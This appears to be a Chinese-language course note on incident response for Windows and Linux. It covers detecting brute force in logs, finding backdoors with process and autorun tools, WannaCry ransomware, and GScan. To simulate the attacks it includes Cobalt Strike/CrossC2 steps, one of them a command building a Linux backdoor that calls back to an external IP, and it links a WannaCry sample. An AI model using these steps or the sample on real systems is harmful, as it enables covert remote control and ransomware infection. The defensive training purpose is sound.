应急响应-win&linux分析后门&勒索病毒&攻击

文章目录

  • 操作系统(windows,linux)应急响应:
    • #案例 1-攻击响应-暴力破解(RDP,SSH)-Win,Linux
    • #案例 2-控制响应-后门木马(Webshell,PC)-Win,Linux
    • #案例 3-危害响应-病毒感染(勒索 WannaCry)-Windows
    • #案例 4-自动化响应检测-Gscan 多重功能脚本测试-Linux

操作系统(windows,linux)应急响应:

  • 1.常见危害:暴力破解,漏洞利用,流量攻击,木马控制(Webshell,PC 木马等),病毒感染(挖矿,蠕虫,勒索等)
  • 2.常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题

常见日志类别及存储:

  • Windows,Linux

补充资料:

  • https://xz.aliyun.com/t/485 应急响应大合集
  • https://www.secpulse.com/archives/114019.html 最全Windows安全工具锦集
  • https://docs.microsoft.com/en-us/sysinternals/ windows官方工具

病毒分析:

  • PCHunter:http://www.xuetr.com
  • 火绒剑:https://www.huorong.cn
  • Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
  • processhacker:https://processhacker.sourceforge.io/downloads.php
  • autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
  • OTL:https://www.bleepingcomputer.com/download/otl/
  • SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector

病毒查杀:

  • 卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
  • 大蜘蛛:http://free.drweb.ru/download+cureit+free
  • 火绒安全软件:https://www.huorong.cn
  • 360 杀毒:http://sd.360.cn/download_center.html

病毒动态:

  • CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
  • 微步在线威胁情报社区:https://x.threatbook.cn
  • 火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
  • 爱毒霸社区:http://bbs.duba.net
  • 腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站:

  • http://www.virscan.org //多引擎在线病毒扫描网
  • https://habo.qq.com //腾讯哈勃分析系统
  • https://virusscan.jotti.org //Jotti 恶意软件扫描系统
  • http://www.scanvir.com //计算机病毒、手机病毒、可疑文件分析

本课重点:

  • 案例1:攻击响应-暴力破解(RDP,SSH)-Win,Linux
  • 案例2:控制响应-后门木马(Webshell,PC)-Win,Linux
  • 案例3:危害响应-病毒感染(勒索 WannaCry)-Windows
  • 案例4:自动化响应检测-Gscan 多重功能脚本测试-Linux

#案例 1-攻击响应-暴力破解(RDP,SSH)-Win,Linux

Windows-LogFusion 载入查看:
事件归类,事件 ID,事件状态等,参考百度资料
Linux-grep 筛选:
1、统计了下日志,确认服务器遭受多少次暴力破解
grep -o "Failed password" /var/log/secure|uniq -c
2、输出登录爆破的第一行和最后一行,确认爆破时间范围:
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1
3、进一步定位有哪些 IP 在爆破?
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-
4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0- 9]?)"|uniq -c | sort -nr
4、爆破用户名字典都有哪些?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -
nr
5、登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

案例演示1-windows日志查看

windows日志位置

应急响应-win&linux分析后门&勒索病毒&攻击_第1张图片

windows自带日志工具不好用,查找分析不方便,推荐使用插件LogFusion

应急响应-win&linux分析后门&勒索病毒&攻击_第2张图片

<1>LogFusion载入应用程序、硬件事件、安全、系统等日志

应急响应-win&linux分析后门&勒索病毒&攻击_第3张图片

<2>使用弱口令工具进行暴力破解(选择RDP协议),模拟攻击

应急响应-win&linux分析后门&勒索病毒&攻击_第4张图片

<3>在安全日志里看到很多账户登录失败的日志,可以判断当前主机遭受了爆破攻击,以及是否成功等

应急响应-win&linux分析后门&勒索病毒&攻击_第5张图片

<4>双击进入,查看详细信息(可以看到是哪个IP地址爆破密码成功,成功登录了本机)

应急响应-win&linux分析后门&勒索病毒&攻击_第6张图片

案例演示2-linux日志查看

linux日志位置

应急响应-win&linux分析后门&勒索病毒&攻击_第7张图片

<1>首先使用弱口令工具进行暴力破解(选择SSH协议),模拟攻击

应急响应-win&linux分析后门&勒索病毒&攻击_第8张图片

<2>linux日志分析,使用grep筛选

应急响应-win&linux分析后门&勒索病毒&攻击_第9张图片

#案例 2-控制响应-后门木马(Webshell,PC)-Win,Linux

windows:默认配置测试
linux 借助 CrossC2 项目:netstat -ntulp
https://github.com/gloxec/CrossC2
https://github.com/darkr4y/geacon
参考过程:http://www.adminxe.com/1287.html
1.项目上传至服务端目录,给予执行权限
2.配置监听器:
windows/beacon_https/reverse_https 阿里云记得端口放行
3.生成后门:
./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2
通过网络监听工具及 windows 日志分析或执行记录查找后门问题

案例演示1-windows分析

<1>windows执行木马,CS上线,模拟攻击

应急响应-win&linux分析后门&勒索病毒&攻击_第10张图片

<2>TCPView工具,可以查看哪个进程与远程IP通信过,从而确定系统是否曾经遭受过攻击。但是这个软件不太好用,上一步执行过的artifact.exe木马都没筛选出来。

应急响应-win&linux分析后门&勒索病毒&攻击_第11张图片

<3>Process Explorer工具,可以查看分析进程

应急响应-win&linux分析后门&勒索病毒&攻击_第12张图片

<4>PCHunter工具。缺点是,windows高版本网络信息,获取不全。比如木马在windows7执行后,该工具可以获取网络信息,如下图。但是同一木马在windows2018执行后,该工具获取不到网络信息。

应急响应-win&linux分析后门&勒索病毒&攻击_第13张图片

<5>UserAssistView工具,可以看到所有在windows系统上执行过的文件

应急响应-win&linux分析后门&勒索病毒&攻击_第14张图片

<6>logonsession工具,可以看到当前主机有哪些会话连接过,从而分析有没有过远程攻击

应急响应-win&linux分析后门&勒索病毒&攻击_第15张图片

<7>autoruns工具,可以查看windows系统的自启动项目,从而发现是否有木马病毒等

应急响应-win&linux分析后门&勒索病毒&攻击_第16张图片

案例演示2-linux分析

CS是windows渗透工具,但是后期经过一些插件的开发,CS也可以上线linux系统,比如CS借助CrossC2项目上线linux主机

<1>项目上传至服务端目录,给予执行权限

应急响应-win&linux分析后门&勒索病毒&攻击_第17张图片

应急响应-win&linux分析后门&勒索病毒&攻击_第18张图片

<2>配置监听器:windows/beacon_https/reverse_https 阿里云记得端口放行

应急响应-win&linux分析后门&勒索病毒&攻击_第19张图片

<3>生成后门:./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2

应急响应-win&linux分析后门&勒索病毒&攻击_第20张图片

<4>将后门上传到linux主机并执行

img

<5>CS成功上线

应急响应-win&linux分析后门&勒索病毒&攻击_第21张图片

<6>接下来就是分析日志,查找后门等,具体可见案例4。

#案例 3-危害响应-病毒感染(勒索 WannaCry)-Windows

详细说明中毒表现及恢复指南
推荐2个勒索病毒解密网站
https://lesuobingdu.360.cn/
https://www.nomoreransom.org/zh/index.html

案例演示

<1>下载勒索病毒样本,在虚拟机上执行(不要在本机执行,谨慎执行)

应急响应-win&linux分析后门&勒索病毒&攻击_第22张图片

<2>中毒后显示如下

应急响应-win&linux分析后门&勒索病毒&攻击_第23张图片

<3>打开任何文件都乱码,弹框

应急响应-win&linux分析后门&勒索病毒&攻击_第24张图片

<4>可以使用360勒索病毒解密网站进行病毒查询、在线解密等。

安全卫士勒索病毒专题:文件恢复_安全卫士离线救灾版_文档卫士 (360.cn)

应急响应-win&linux分析后门&勒索病毒&攻击_第25张图片

<5>也可以使用nomoreransom网站尝试解密。https://www.nomoreransom.org/zh/index.html

应急响应-win&linux分析后门&勒索病毒&攻击_第26张图片

#案例 4-自动化响应检测-Gscan 多重功能脚本测试-Linux

参考:https://github.com/grayddq/GScan/
自动化响应检测工具:GScan、chkrootkit、rkhunter、lynis
都下载一下,应急响应时全都跑一遍

案例演示

<1>执行Gscan脚本

应急响应-win&linux分析后门&勒索病毒&攻击_第27张图片

<2>可以看到,黑客进行了哪些攻击行为,是否成功等。

应急响应-win&linux分析后门&勒索病毒&攻击_第28张图片

<3>netstat -ntl可以查看tcp端口等,再通过ps命令找到对应的进程,分析其是否是木马病毒

应急响应-win&linux分析后门&勒索病毒&攻击_第29张图片

涉及资源:
https://xz.aliyun.com/t/485# 先知汇总应急响应文章
https://lesuobingdu.360.cn/ #360勒索解密网站
https://github.com/gloxec/CrossC2/ #CrossC2工具
https://github.com/darkr4y/geacon/
https://github.com/grayddq/GScan/ #对Linux主机排查时提供便利
https://bbs.pediy.com/thread-217586-1.htm #永恒之蓝样本(勒索病毒)
https://www.nomoreransom.org/zh/index.html #解锁勒索病毒
https://docs.microsoft.com/en-us/sysinternals/ #window 官网的安全分析文件
https://www.secpulse.com/archives/114019.html #全Windows安全工具锦集
https://pan.baidu.com/s/1tQS1mUelmEh3I68AL7yXGg 提取码:xiao

你可能感兴趣的:(小迪笔记,python,开发语言,后端)